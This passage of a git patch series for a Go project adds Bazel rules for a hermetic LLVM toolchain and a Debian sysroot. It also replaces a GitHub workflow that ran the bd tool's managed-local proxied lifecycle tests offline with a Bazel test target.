{strings.Replace(build, `name = "rbe_worker"`, `name = "other"`, 1), manifest}, + "extra property": {strings.Replace(build, " },", " \"pool\": \"x\",\n },", 1), manifest}, + "not a sha": {strings.Replace(build, pin, "latest", 1), manifest}, + } { + if len(checkRBEWorkerPlatform(bad[0], bad[1])) == 0 { + t.Errorf("%s: expected an error", name) + } + } + + rc := "common --enable_bzlmod\nbuild " + rbeWorkerPlatformFlag + "\n" + if err := checkRBEWorkerSelected(rc); err != nil { + t.Fatalf("good .bazelrc fixture: %v", err) + } + for name, bad := range map[string]string{ + "missing": "common --enable_bzlmod\n", + "only in a config": strings.Replace(rc, "build "+rbeWorkerPlatformFlag, "build:remote-exec "+rbeWorkerPlatformFlag, 1), + "commented out": strings.Replace(rc, "build "+rbeWorkerPlatformFlag, "# build "+rbeWorkerPlatformFlag, 1), + } { + if checkRBEWorkerSelected(bad) == nil { + t.Errorf("%s: expected an error", name) + } + } +} diff --git a/third_party/cc_toolchain/BUILD.bazel b/third_party/cc_toolchain/BUILD.bazel new file mode 100644 index 000000000..c6e24cb8a --- /dev/null +++ b/third_party/cc_toolchain/BUILD.bazel @@ -0,0 +1,25 @@ +# Repository rules behind the hermetic C/C++ toolchain registered in +# MODULE.bazel: llvm_dist.bzl (pinned LLVM) and deb_sysroot.bzl (pinned +# Ubuntu sysroot). Ported from gastownhall/gascity; keep them in sync. + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/third_party/cc_toolchain/deb_sysroot.bzl b/third_party/cc_toolchain/deb_sysroot.bzl new file mode 100644 index 000000000..ae96aa392 --- /dev/null +++ b/third_party/cc_toolchain/deb_sysroot.bzl @@ -0,0 +1,80 @@ +"""deb_sysroot: a C/C++ sysroot assembled from pinned Debian/Ubuntu packages. + +Every package is fetched by sha256, so the sysroot is byte-identical on every +host. It gives the hermetic LLVM toolchain (MODULE.bazel) the glibc, +libstdc++ and ICU headers and link libraries that cgo targets need, instead +of whatever the host has under /usr. +""" + +# Trims what no compile or link needs, then makes the sysroot self-contained: +# package symlinks may be absolute (outside a chroot they would resolve +# against the HOST), and glibc's linker scripts name the pre-usr-merge /lib +# and /lib64, which the sysroot only has under /usr. +_POSTPROCESS = """ +set -euo pipefail +shopt -s globstar nullglob +rm -rf -- $REMOVE +find . -type l -lname '/*' -print0 | while IFS= read -r -d '' l; do + ln -sfn "$(realpath -m --relative-to="$(dirname "$l")" "$PWD$(readlink "$l")")" "$l" +done +find . -xtype l -delete +grep -rlI --include='*.so' 'GROUP' usr/lib | while IFS= read -r s; do + sed -i -e 's@ /lib/@ /usr/lib/@g' -e 's@ /lib64/@ /usr/lib64/@g' "$s" +done +""" + +def _deb_sysroot_impl(rctx): + for path, sha256 in rctx.attr.packages.items(): + name = path.rsplit("/", 1)[-1] + deb = "_debs/" + name + rctx.download( + url = [mirror + path for mirror in rctx.attr.mirrors], + output = deb, + sha256 = sha256, + ) + unpacked = "_debs/" + name + ".d" + rctx.extract(deb, output = unpacked) + data = [f for f in rctx.path(unpacked).readdir() if f.basename.startswith("data.tar")] + if len(data) != 1: + fail("%s: expected one data.tar.* member, found %s" % (name, data)) + rctx.extract(data[0], output = ".") + rctx.delete("_debs") + + res = rctx.execute( + ["bash", "-c", _POSTPROCESS], + environment = {"REMOVE": " ".join(rctx.attr.remove)}, + ) + if res.return_code != 0: + fail("deb_sysroot: post-processing failed:\n" + res.stderr) + + rctx.file("BUILD.bazel", """\ +filegroup( + name = "sysroot", + srcs = glob( + ["**"], + exclude = [ + "BUILD.bazel", + "REPO.bazel", + ], + ), + visibility = ["//visibility:public"], +) +""") + return rctx.repo_metadata(reproducible = True) + +deb_sysroot = repository_rule( + implementation = _deb_sysroot_impl, + attrs = { + "packages": attr.string_dict( + mandatory = True, + doc = "Pool path (relative to each mirror) to the .deb's sha256.", + ), + "mirrors": attr.string_list( + mandatory = True, + doc = "Archive roots tried in order; the first is an immutable snapshot.", + ), + "remove": attr.string_list( + doc = "Bash globs (globstar) dropped after unpacking: docs, unused runtimes and archives.", + ), + }, +) diff --git a/third_party/cc_toolchain/llvm_dist.bzl b/third_party/cc_toolchain/llvm_dist.bzl new file mode 100644 index 000000000..994aeef39 --- /dev/null +++ b/third_party/cc_toolchain/llvm_dist.bzl @@ -0,0 +1,54 @@ +"""llvm_dist: the slice of an official LLVM release that C/C++ builds use. + +LLVM's Linux release archive unpacks to ~12GB (MLIR, Flang, LLDB, clangd, +...), and toolchains_llvm puts every bin/ file into each cgo action's inputs. +This repository keeps clang, lld, the binutils replacements and the clang +resource headers (~700MB), fetched from the same pinned archive by sha256, +and lays them out as toolchains_llvm's own distribution repository does, so +it plugs in through `llvm.toolchain_root`. +""" + +def _llvm_dist_impl(rctx): + archive = "_llvm.tar.xz" + rctx.download(url = rctx.attr.urls, output = archive, sha256 = rctx.attr.sha256) + res = rctx.execute( + ["tar", "-xJf", archive, "--strip-components=1"] + + [rctx.attr.strip_prefix + "/" + m for m in rctx.attr.members], + timeout = 3600, + ) + if res.return_code != 0: + fail("llvm_dist: extracting %s failed:\n%s" % (rctx.attr.urls[0], res.stderr)) + rctx.delete(archive) + + # toolchains_llvm symlinks a fixed tool list into its toolchain package; + # tools this repository leaves out get a stub that fails loudly if run. + for tool in rctx.attr.stub_tools: + rctx.file( + "bin/" + tool, + "#!/bin/sh\necho '%s is not part of this LLVM slice (third_party/cc_toolchain/llvm_dist.bzl)' >&2\nexit 1\n" % tool, + executable = True, + ) + + major = rctx.attr.llvm_version.split(".")[0] + rctx.file( + "BUILD.bazel", + rctx.read(Label("@toolchains_llvm//toolchain:BUILD.llvm_repo.tpl")).format(LLVM_VERSION = major), + ) + return rctx.repo_metadata(reproducible = True) + +llvm_dist = repository_rule( + implementation = _llvm_dist_impl, + attrs = { + "llvm_version": attr.string(mandatory = True), + "urls": attr.string_list(mandatory = True), + "sha256": attr.string(mandatory = True), + "strip_prefix": attr.string(mandatory = True), + "members": attr.string_list( + mandatory = True, + doc = "Archive paths (below strip_prefix) to extract.", + ), + "stub_tools": attr.string_list( + doc = "bin/ tools toolchains_llvm links to but no action here runs.", + ), + }, +) diff --git a/tools/rbe/worker-env.txt b/tools/rbe/worker-env.txt new file mode 100644 index 000000000..5f24a0f20 --- /dev/null +++ b/tools/rbe/worker-env.txt @@ -0,0 +1,38 @@ +arch x86_64 +dolt dolt version 2.1.8 +go go version go1.26.6 linux/amd64 +os ubuntu 24.04 +pkg bash 5.2.21-2ubuntu4 +pkg cmake 3.28.3-1build7 +pkg coreutils 9.4-3ubuntu6.1 +pkg diffutils 1:3.10-1build1 +pkg findutils 4.9.0-5build1 +pkg git 1:2.52.0-0ppa1~ubuntu24.04.3 +pkg grep 3.11-4build1 +pkg jq 1.7.1-3ubuntu0.24.04.2 +pkg libbz2-dev 1.0.8-5.1ubuntu0.1 +pkg libc6 2.39-0ubuntu8.6 +pkg libexpat1-dev 2.6.1-2ubuntu0.6 +pkg libffi-dev 3.4.6-1build1 +pkg libgcc-s1 14.2.0-4ubuntu2~24.04.1 +pkg libicu74 74.2-1ubuntu3.1 +pkg liblzma-dev 5.6.1+really5.4.5-1ubuntu0.3 +pkg liblzma5 5.6.1+really5.4.5-1ubuntu0.3 +pkg libncurses-dev 6.4+20240113-1ubuntu2.2 +pkg libreadline-dev 8.2-4build1 +pkg libsqlite3-dev 3.45.1-1ubuntu2.8 +pkg libstdc++6 14.2.0-4ubuntu2~24.04.1 +pkg libxml2 2.9.14+dfsg-1.3ubuntu3.9 +pkg libxml2-dev 2.9.14+dfsg-1.3ubuntu3.9 +pkg lsof 4.95.0-1build3 +pkg make 4.3-4.1build2 +pkg procps 2:4.0.4-4ubuntu3.2 +pkg python3-dev 3.12.3-0ubuntu2.1 +pkg sed 4.9-2build1 +pkg sqlite3 3.45.1-1ubuntu2.8 +pkg tar 1.35+dfsg-3build1 +pkg tmux 3.4-1ubuntu0.1 +pkg util-linux 2.39.3-9ubuntu6.4 +pkg xz-utils 5.6.1+really5.4.5-1ubuntu0.3 +pkg zlib1g 1:1.3.dfsg-3.1ubuntu2.2 +pkg zlib1g-dev 1:1.3.dfsg-3.1ubuntu2.2 From c292964571bc354a11866172b77b0afab1490a41 Mon Sep 17 00:00:00 2001 From: Julian Knutsen Date: Wed, 7 Oct 2026 00:59:14 +0000 Subject: [PATCH 023/213] ci(bazel): run the managed-local proxied lifecycle lane under Bazel; retire proxied-local-smoke.yml (#7326) proxied-local-smoke.yml built bd and the cmd/bd test binary on a GitHub runner, installed the pinned dolt, and ran `-test.run ^TestManagedLocalProxied` under `sudo unshare --net` with only loopback up, to prove the managed-local lifecycle (bd -> loopback proxy -> dolt sql-server) needs no outbound network. //cmd/bd:bd_managed_local_test runs the same tests (BEADS_TEST_PROXIED_LOCAL=1, BEADS_TEST_SKIP=dolt, the non-race bd_for_tests as the bd under test, the pinned dolt from the test wrapper's PATH) through tools/bazel/go_test_offline.sh, which enters an unprivileged user + network namespace with only loopback up and fails if outbound network is reachable: the job's netns, without sudo, on the rbe-west workers. Tagged dolt-server-proxied, so bazel.yml's bazel-proxied lane (remote-only, required by pr.yml's gate) runs it; test result caching replaces the workflow's path filter. The job's "tests are compiled in" assertion becomes scripts/managed_local_lane_test.go, which evaluates cmd/bd's build constraints for a linux cgo build and requires each of the 17 pinned tests. The target joins the pinned retired-lane targets in TestBazelRetiredLanesCannotBeNarrowed. proxied-local-smoke.yml and the policy tests that pinned its job and its dolt version are removed (the Bazel dolt pin is already enforced against install-dolt.sh). Refs: ga-96smfk.19 Co-authored-by: Claude Opus 5.5 (1M context) --- .bazelrc | 4 +- .github/workflows/bazel.yml | 9 +- .github/workflows/proxied-local-smoke.yml | 189 ------------------ cmd/bd/BUILD.bazel | 51 +++++ .../backup_proxied_local_integration_test.go | 6 +- cmd/bd/proxied_local_dolt_lifecycle_test.go | 4 +- cmd/bd/proxied_local_lifecycle_linux_test.go | 2 +- scripts/BUILD.bazel | 1 + scripts/ci_f7c_advisory_test.go | 3 - scripts/ci_workflow_test.go | 31 +-- scripts/managed_local_lane_test.go | 81 ++++++++ scripts/pr_risk_bazel_coverage_test.go | 8 + tools/bazel/BUILD.bazel | 7 + tools/bazel/go_test_offline.sh | 24 +++ 14 files changed, 189 insertions(+), 231 deletions(-) delete mode 100644 .github/workflows/proxied-local-smoke.yml create mode 100644 scripts/managed_local_lane_test.go create mode 100755 tools/bazel/go_test_offline.sh diff --git a/.bazelrc b/.bazelrc index cc0c1affb..705245c2b 100644 --- a/.bazelrc +++ b/.bazelrc @@ -145,7 +145,9 @@ test:doltserver --local_test_jobs=4 test:doltserver --remote_download_regex=.*/test\.(log|xml)$ # Proxied-server tier: PR Risk's "Test (Proxied Dolt Cmd N/15)" jobs, as -# //cmd/bd:bd_proxied_test (dolt-server-proxied tag). Kept out of +# //cmd/bd:bd_proxied_test and //cmd/bd:bd_managed_local_test (the +# managed-local lifecycle in a loopback-only network namespace) (the +# dolt-server-proxied tag). Kept out of # --config=doltserver because bazel.yml runs that lane locally too (forks, # rbe=off), where 30 concurrent shards, each with a dolt sql-server busy on # ~4 cores, do not fit regardless of any single shard's wall time; bazel.yml diff --git a/.github/workflows/bazel.yml b/.github/workflows/bazel.yml index a01f57943..07355f39c 100644 --- a/.github/workflows/bazel.yml +++ b/.github/workflows/bazel.yml @@ -1469,9 +1469,12 @@ jobs: # bd_for_tests), shared with bazel-doltserver through the remote cache. # PR Risk builds its bd-cmd-test with -race, as here; main.yml's # test-proxied-cmd twin uses build-artifacts' non-race bd-cmd-test, so - # this lane is the stricter of the two. A job of its own, not gated by - # any integration switch: it runs in pr.yml's call and its gate requires - # it (BAZEL_PROXIED). + # this lane is the stricter of the two. It also runs + # //cmd/bd:bd_managed_local_test, the managed-local proxied lifecycle + # (formerly proxied-local-smoke.yml) in a loopback-only network + # namespace, which needs the workers' unprivileged user namespaces. A job + # of its own, not gated by any integration switch: it runs in pr.yml's + # call and its gate requires it (BAZEL_PROXIED). bazel-proxied: name: proxied-server tier # Remote execution only, like bazel-embedded: 30 concurrent shards, each diff --git a/.github/workflows/proxied-local-smoke.yml b/.github/workflows/proxied-local-smoke.yml deleted file mode 100644 index dbfad62e5..000000000 --- a/.github/workflows/proxied-local-smoke.yml +++ /dev/null @@ -1,189 +0,0 @@ -# Managed-local proxied lifecycle lane. -# -# The proxied shards in main.yml exercise command behavior against an -# EXTERNALLY managed Dolt testcontainer. This lane covers the production -# local-first path those shards cannot: bd launches its own loopback proxy, -# the proxy launches a locally installed `dolt sql-server`, and the whole -# lifecycle (create/read, loopback-only listeners, idle shutdown, -# transparent restart with persistence), identity failures, orphan recovery, -# and start/stop convergence run INSIDE a network namespace with only -# loopback up — proving no outbound network is needed once the binaries are -# installed. Linux first; the test lane defines Windows/macOS parity but does -# not implement those OS-specific observation helpers yet. - -name: Proxied Local Lifecycle - -on: - workflow_dispatch: - merge_group: - push: - branches: [main] - paths: - - 'cmd/bd/proxied_local_*' - - 'cmd/bd/proxied_server*.go' - - 'cmd/bd/dolt*.go' - - 'cmd/bd/*_proxied_server.go' - - 'cmd/bd/backup*.go' - - 'cmd/bd/purge*.go' - - 'cmd/bd/*managed_local*' - - 'cmd/bd/proxied_outage_reconnect_integration_test.go' - - 'cmd/bd/db_proxy_child.go' - - 'cmd/bd/init*.go' - - 'cmd/bd/proxied_integration_helpers_test.go' - - 'cmd/bd/store_factory*.go' - - 'cmd/bd/test_dolt_server_cgo_test.go' - - 'cmd/bd/tracker_proxy_uow_conformance_integration_test.go' - - 'cmd/bd/uow_factory.go' - - 'internal/configfile/**' - - 'internal/doltserver/**' - - 'internal/storage/dbproxy/**' - - 'internal/storage/uow/**' - - 'internal/tracker/conformance/**' - - 'internal/tracker/uow_store.go' - - 'internal/tracker/engine.go' - - 'internal/tracker/store.go' - - 'go.mod' - - 'go.sum' - - '.github/workflows/proxied-local-smoke.yml' - pull_request: - paths: - - 'cmd/bd/proxied_local_*' - - 'cmd/bd/proxied_server*.go' - - 'cmd/bd/dolt*.go' - - 'cmd/bd/*_proxied_server.go' - - 'cmd/bd/backup*.go' - - 'cmd/bd/purge*.go' - - 'cmd/bd/*managed_local*' - - 'cmd/bd/proxied_outage_reconnect_integration_test.go' - - 'cmd/bd/db_proxy_child.go' - - 'cmd/bd/init*.go' - - 'cmd/bd/proxied_integration_helpers_test.go' - - 'cmd/bd/store_factory*.go' - - 'cmd/bd/test_dolt_server_cgo_test.go' - - 'cmd/bd/tracker_proxy_uow_conformance_integration_test.go' - - 'cmd/bd/uow_factory.go' - - 'internal/configfile/**' - - 'internal/doltserver/**' - - 'internal/storage/dbproxy/**' - - 'internal/storage/uow/**' - - 'internal/tracker/conformance/**' - - 'internal/tracker/uow_store.go' - - 'internal/tracker/engine.go' - - 'internal/tracker/store.go' - - 'go.mod' - - 'go.sum' - - '.github/workflows/proxied-local-smoke.yml' - -permissions: - contents: read - -jobs: - managed-local-smoke: - name: Managed-local proxied lifecycle (Linux, offline) - runs-on: ${{ (github.event_name == 'merge_group' || (github.event_name == 'pull_request' && github.event.pull_request.head.repo.full_name == github.repository && github.actor != 'dependabot[bot]')) && 'blacksmith-4vcpu-ubuntu-2404' || 'ubuntu-latest' }} - timeout-minutes: 25 - env: - CGO_ENABLED: "1" - # Pinned so the lane tests a known dolt CLI, not whatever the installer - # resolves on a given day. Bump deliberately, and only in lockstep with - # the measured pin in scripts/ci/install-dolt.sh (see "Which Dolt - # version to install" in docs/architecture/dolt.md). - DOLT_VERSION: 2.2.0 - steps: - - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v6 - - - name: Set up Go - id: setup-go - uses: actions/setup-go@b7ad1dad31e06c5925ef5d2fc7ad053ef454303e # v7.0.0 - with: - go-version-file: 'go.mod' - cache: ${{ runner.environment == 'github-hosted' }} - - # F7c review fix S5: this job's own key copy must match main.yml's - # seeder key byte-for-byte (TestBlacksmithSetupGoCacheKeysMatchAcrossSeederAndConsumers), - # which now keys by UTC calendar day instead of github.sha so main - # pushes don't churn a multi-GB cache entry on every commit; this step - # computes that same day value locally so the key expression below - # resolves (steps.* references only resolve within the same job). - - name: Compute cache date - id: cache-date - if: runner.environment == 'self-hosted' - run: echo "today=$(date -u +%Y%m%d)" >> "$GITHUB_OUTPUT" - - - name: Restore Blacksmith setup-go cache - if: runner.environment == 'self-hosted' - uses: actions/cache/restore@55cc8345863c7cc4c66a329aec7e433d2d1c52a9 # v6.1.0 - with: - path: | - ~/go/pkg/mod - ~/.cache/go-build - key: blacksmith-sg-v1-${{ runner.os }}-${{ runner.arch }}-go-${{ steps.setup-go.outputs.go-version }}-${{ hashFiles('go.sum') }}-${{ steps.cache-date.outputs.today }} - restore-keys: | - blacksmith-sg-v1-${{ runner.os }}-${{ runner.arch }}-go-${{ steps.setup-go.outputs.go-version }}-${{ hashFiles('go.sum') }}- - blacksmith-sg-v1-${{ runner.os }}-${{ runner.arch }}-go-${{ steps.setup-go.outputs.go-version }}- - - - name: Install pinned Dolt CLI - run: | - curl -fsSL "https://github.com/dolthub/dolt/releases/download/v${DOLT_VERSION}/dolt-linux-amd64.tar.gz" -o /tmp/dolt.tar.gz - tar -xzf /tmp/dolt.tar.gz -C /tmp - sudo install /tmp/dolt-linux-amd64/bin/dolt /usr/local/bin/dolt - dolt version - - - name: Build bd and compile the test binary (online) - run: | - go build -tags gms_pure_go -o /tmp/bd-under-test ./cmd/bd - go test -tags gms_pure_go -c -o /tmp/proxied-local-smoke.test ./cmd/bd - - - name: Assert the managed-local lifecycle tests are compiled in - run: | - listed="$( - BEADS_TEST_PROXIED_LOCAL=1 \ - BEADS_TEST_SKIP=dolt \ - /tmp/proxied-local-smoke.test \ - -test.list '^TestManagedLocalProxied' - )" - for test_name in \ - TestManagedLocalProxiedLifecycleSmoke \ - TestManagedLocalProxiedForeignListenerNotAdopted \ - TestManagedLocalProxiedReusedPidNeverKilled \ - TestManagedLocalProxiedLegacyRecordFailClosed \ - TestManagedLocalProxiedOrphanBackendReaped \ - TestManagedLocalProxiedNProcessColdStartConvergence \ - TestManagedLocalProxiedStopStartInterleave \ - TestManagedLocalProxiedDoltStatusReportsLiveTopology \ - TestManagedLocalProxiedDoltStartRefusesOverLiveProxy \ - TestManagedLocalProxiedDoltStartRefusesWithProxyDown \ - TestManagedLocalProxiedDoltLifecycleLeavesOtherTopologiesAlone \ - TestManagedLocalProxiedTrackerUOWConformance \ - TestManagedLocalProxiedBackupRoundTrip \ - TestManagedLocalProxiedAutoBackup \ - TestManagedLocalProxiedBackupRestoreRefusedWhileAttached \ - TestManagedLocalProxiedPurgeWispsPlaneRetention \ - TestManagedLocalProxiedBackendCleanExitRetiresProxy - do - if ! grep -qx "$test_name" <<<"$listed"; then - echo "managed-local lifecycle test $test_name is missing; got: '$listed'" >&2 - exit 1 - fi - done - - - name: Run managed-local lifecycle lane offline (loopback-only netns) - run: | - sudo env \ - "PATH=$PATH" \ - BEADS_TEST_PROXIED_LOCAL=1 \ - BEADS_TEST_SKIP=dolt \ - BEADS_TEST_BD_BINARY=/tmp/bd-under-test \ - unshare --net -- bash -euxc ' - ip link set lo up - # Prove the namespace really has no outbound network before - # trusting anything the test reports. - if timeout 3 bash -c "exec 3<>/dev/tcp/1.1.1.1/443" 2>/dev/null; then - echo "outbound network unexpectedly available inside the netns" >&2 - exit 1 - fi - cd cmd/bd - /tmp/proxied-local-smoke.test \ - -test.run "^TestManagedLocalProxied" \ - -test.v -test.timeout 15m - ' diff --git a/cmd/bd/BUILD.bazel b/cmd/bd/BUILD.bazel index 21a8fe722..9c4e304f5 100644 --- a/cmd/bd/BUILD.bazel +++ b/cmd/bd/BUILD.bazel @@ -1488,6 +1488,57 @@ sh_test( tags = ["dolt-server-proxied"], ) +# The managed-local proxied lifecycle lane (formerly proxied-local-smoke.yml): +# the TestManagedLocalProxied* tests, where bd launches its own loopback +# proxy and the proxy launches the pinned dolt (first on PATH via the test +# wrapper) as `dolt sql-server`, run inside a user + network namespace with +# only loopback up (tools/bazel/go_test_offline.sh, the job's `sudo unshare +# --net`), so they prove the lifecycle needs no outbound network. Against +# this configuration's (race) bd_test, with the non-race bd_for_tests as the +# bd under test; BEADS_TEST_SKIP=dolt as in the job (no shared test server: +# every test supervises its own; BEADS_TEST_DOLT_SERVER/REQUIRE are the +# dolt-server lanes' convention and start nothing here). Unsharded: Go's +# sharding counts every test in the binary, not the -test.run matches, so +# most shards would run none. scripts/managed_local_lane_test.go fails if a +# test the job pinned is no longer compiled into a linux cgo build. It repeats +# bd_test's `env`. +# +# Tags: +# dolt-server-proxied: the proxied-server tier; starts dolt sql-servers; +# excluded from --config=prcore/ci, selected by --config=doltserver-proxied +# (bazel.yml's bazel-proxied lane, remote execution only: the namespace +# needs the workers' unprivileged user namespaces). +sh_test( + name = "bd_managed_local_test", + size = "large", + # -test.timeout=15m (the job's) fires with a goroutine dump before + # Bazel's 1200s action limit (eternal under the lane's --test_timeout). + timeout = "eternal", + srcs = ["//tools/bazel:go_test_offline.sh"], + args = [ + "$(rootpath :bd_test)", + "-test.run=^TestManagedLocalProxied", + "-test.timeout=15m", + ], + data = [ + ":bd_for_tests", + ":bd_test", + ":go_srcs", + ":preflight_go_fixture", + "@go_sdk//:bin/gofmt", + ], + env = { + "BEADS_TEST_BD_BINARY": "$(rlocationpath :bd_for_tests)", + "BEADS_TEST_DOLT_SERVER": "local", + "BEADS_TEST_GOFMT": "$(rlocationpath @go_sdk//:bin/gofmt)", + "BEADS_TEST_PREFLIGHT_GO": "$(rlocationpath :preflight_go_fixture)", + "BEADS_TEST_PROXIED_LOCAL": "1", + "BEADS_TEST_REQUIRE_DOLT_CONTAINER": "1", + "BEADS_TEST_SKIP": "dolt", + }, + tags = ["dolt-server-proxied"], +) + # The whole cmd/bd suite, as --config=doltserver-cmd builds it (exactly # --config=integration's build: the integration and gms_pure_go build tags, # race, so the two lanes share bd_test's compile), against a hermetic dolt sql-server: diff --git a/cmd/bd/backup_proxied_local_integration_test.go b/cmd/bd/backup_proxied_local_integration_test.go index 166d9ab94..2edd01cfa 100644 --- a/cmd/bd/backup_proxied_local_integration_test.go +++ b/cmd/bd/backup_proxied_local_integration_test.go @@ -29,9 +29,9 @@ import ( // gone. Both directions are load-bearing — a restore that changed nothing would // pass the first check alone. // -// Named TestManagedLocalProxied* so the proxied-local smoke lane -// (.github/workflows/proxied-local-smoke.yml) runs it; that lane is the only -// one that sets BEADS_TEST_PROXIED_LOCAL. +// Named TestManagedLocalProxied* so the managed-local lane +// (//cmd/bd:bd_managed_local_test) runs it; that lane is the only one that +// sets BEADS_TEST_PROXIED_LOCAL. func TestManagedLocalProxiedBackupRoundTrip(t *testing.T) { requireManagedLocalProxiedEnv(t) diff --git a/cmd/bd/proxied_local_dolt_lifecycle_test.go b/cmd/bd/proxied_local_dolt_lifecycle_test.go index c3ef948d0..b5fb991b5 100644 --- a/cmd/bd/proxied_local_dolt_lifecycle_test.go +++ b/cmd/bd/proxied_local_dolt_lifecycle_test.go @@ -6,8 +6,8 @@ package main // MANAGED-LOCAL proxied workspace, plus the direct/embedded control that keeps // the proxied guard from leaking into topologies bd really does manage. // -// These live in the managed-local lane (TestManagedLocalProxied* runs under -// proxied-local-smoke.yml) because they are the only lane with a real proxy +// These live in the managed-local lane (TestManagedLocalProxied* runs in +// //cmd/bd:bd_managed_local_test) because they are the only lane with a real proxy // supervising a real dolt child: the defects being covered are about which // process record bd reads and which process bd spawns, and neither is // observable against an external testcontainer. diff --git a/cmd/bd/proxied_local_lifecycle_linux_test.go b/cmd/bd/proxied_local_lifecycle_linux_test.go index fd5c0e7d1..d8d602685 100644 --- a/cmd/bd/proxied_local_lifecycle_linux_test.go +++ b/cmd/bd/proxied_local_lifecycle_linux_test.go @@ -22,7 +22,7 @@ package main // -run '^TestManagedLocalProxied' -v // // CI additionally runs it inside a network namespace with only loopback up -// (see .github/workflows/proxied-local-smoke.yml), proving the whole +// (//cmd/bd:bd_managed_local_test, tools/bazel/go_test_offline.sh), proving the whole // lifecycle needs no outbound network once bd and dolt are installed. // When BEADS_TEST_PROXIED_LOCAL=1 is set, missing prerequisites or a Dolt // child that fails to launch FAIL the test rather than skipping. diff --git a/scripts/BUILD.bazel b/scripts/BUILD.bazel index 07f33cdc0..0eaa8a45f 100644 --- a/scripts/BUILD.bazel +++ b/scripts/BUILD.bazel @@ -40,6 +40,7 @@ go_test( "embedded_shard_count_test.go", "host_tools_test.go", "install_dolt_test.go", + "managed_local_lane_test.go", "pr_lanes_bazel_coverage_test.go", "pr_preflight_test.go", "pr_risk_bazel_coverage_test.go", diff --git a/scripts/ci_f7c_advisory_test.go b/scripts/ci_f7c_advisory_test.go index 668756030..8b20298fa 100644 --- a/scripts/ci_f7c_advisory_test.go +++ b/scripts/ci_f7c_advisory_test.go @@ -698,7 +698,6 @@ var blacksmithAdvisoryWorkflows = []string{ "migration-test.yml", "cross-version-smoke.yml", "docs-mintlify.yml", - "proxied-local-smoke.yml", "main.yml", } @@ -756,7 +755,6 @@ var advisoryBlacksmithRunnerJobs = []struct { {"cross-version-smoke.yml", "smoke", "blacksmith-4vcpu-ubuntu-2404", "ubuntu-latest"}, {"cross-version-smoke.yml", "versions", "blacksmith-2vcpu-ubuntu-2404", "ubuntu-latest"}, {"docs-mintlify.yml", "broken-links", "blacksmith-2vcpu-ubuntu-2404", "ubuntu-latest"}, - {"proxied-local-smoke.yml", "managed-local-smoke", "blacksmith-4vcpu-ubuntu-2404", "ubuntu-latest"}, } // TestF7cAdvisorySameRepoBlacksmithExpressionSemantics evaluates each F7c @@ -825,7 +823,6 @@ var blacksmithSetupGoCacheConsumers = map[string][]string{ "regression.yml": {"regression"}, "migration-test.yml": {"historical-upgrades"}, "cross-version-smoke.yml": {"smoke"}, - "proxied-local-smoke.yml": {"managed-local-smoke"}, } // blacksmithSetupGoCacheKeyNamespace is the self-defined cache key prefix diff --git a/scripts/ci_workflow_test.go b/scripts/ci_workflow_test.go index 3e6fd4bd9..ecac502de 100644 --- a/scripts/ci_workflow_test.go +++ b/scripts/ci_workflow_test.go @@ -2464,32 +2464,6 @@ func TestPinnedDoltCLIMatchesContainerImage(t *testing.T) { } } -// TestProxiedLocalSmokeMatchesPinnedDoltVersion keeps the proxied-local-smoke -// lane's standalone Dolt CLI install on the same release as the rest of the -// suite. That lane downloads its own dolt binary straight from GitHub -// releases instead of going through scripts/ci/install-dolt.sh, so nothing -// else catches it drifting off the measured pin (see "Which Dolt version to -// install" in docs/architecture/dolt.md for why the pin is not just "latest"). -func TestProxiedLocalSmokeMatchesPinnedDoltVersion(t *testing.T) { - root := sourceRepoRoot(t) - - installer, err := os.ReadFile(filepath.Join(root, "scripts", "ci", "install-dolt.sh")) - if err != nil { - t.Fatal(err) - } - cliVersion := captureOne(t, `(?m)^readonly version="([0-9]+\.[0-9]+\.[0-9]+)"$`, string(installer), "scripts/ci/install-dolt.sh") - - workflow, err := os.ReadFile(filepath.Join(root, ".github", "workflows", "proxied-local-smoke.yml")) - if err != nil { - t.Fatal(err) - } - smokeVersion := captureOne(t, `(?m)^\s*DOLT_VERSION:\s*([0-9]+\.[0-9]+\.[0-9]+)\s*$`, string(workflow), "proxied-local-smoke.yml:DOLT_VERSION") - - if cliVersion != smokeVersion { - t.Errorf("dolt pins disagree: CLI %s, proxied-local-smoke.yml DOLT_VERSION %s", cliVersion, smokeVersion) - } -} - func captureOne(t *testing.T, pattern, body, source string) string { t.Helper() @@ -2716,7 +2690,7 @@ const mainWindowsTestBinariesCacheRunsOn = "${{ matrix.runner == 'blacksmith' && // F7c: used to define its own sameRepoBlacksmith4vcpu here (same expression // as sameRepoBlacksmith2vcpu with the 4 vCPU label, for advisory jobs that // compile Go: regression.yml, migration-test.yml, -// cross-version-smoke.yml, proxied-local-smoke.yml). F7a independently +// cross-version-smoke.yml). F7a independently // defined the same const; both are now served by the single shared // sameRepoBlacksmith4vcpu in ci_blacksmith_runner_test.go. migration-test.yml's // historical-upgrades job uses sameRepoBlacksmith4vcpuNoble instead (below). @@ -3063,7 +3037,6 @@ func TestSameRepoBlacksmithRunners(t *testing.T) { "migration-test.yml": {"historical-upgrades": sameRepoBlacksmith4vcpuNoble}, "cross-version-smoke.yml": {"smoke": sameRepoBlacksmith4vcpu, "versions": sameRepoBlacksmith2vcpu}, "docs-mintlify.yml": {"broken-links": sameRepoBlacksmith2vcpu}, - "proxied-local-smoke.yml": {"managed-local-smoke": sameRepoBlacksmith4vcpu}, // main.yml's seeder job (B2, F7c implementation report) is the one // Blacksmith job that is NOT gated by the same-repo-PR expression: it // is push-to-main only (always trusted), so it wraps the literal @@ -3128,7 +3101,7 @@ func TestSameRepoBlacksmithRunners(t *testing.T) { for _, file := range []string{ "pr.yml", "pr-risk.yml", "main.yml", "regression.yml", "migration-test.yml", - "cross-version-smoke.yml", "docs-mintlify.yml", "proxied-local-smoke.yml", + "cross-version-smoke.yml", "docs-mintlify.yml", } { workflow := readCIWorkflow(t, file) allowed := want[file] diff --git a/scripts/managed_local_lane_test.go b/scripts/managed_local_lane_test.go new file mode 100644 index 000000000..d09808c90 --- /dev/null +++ b/scripts/managed_local_lane_test.go @@ -0,0 +1,81 @@ +package scripts_test + +import ( + "go/build" + "os" + "path/filepath" + "regexp" + "strings" + "testing" +) + +// managedLocalLaneTests are the managed-local proxied lifecycle tests the +// retired proxied-local-smoke.yml asserted were 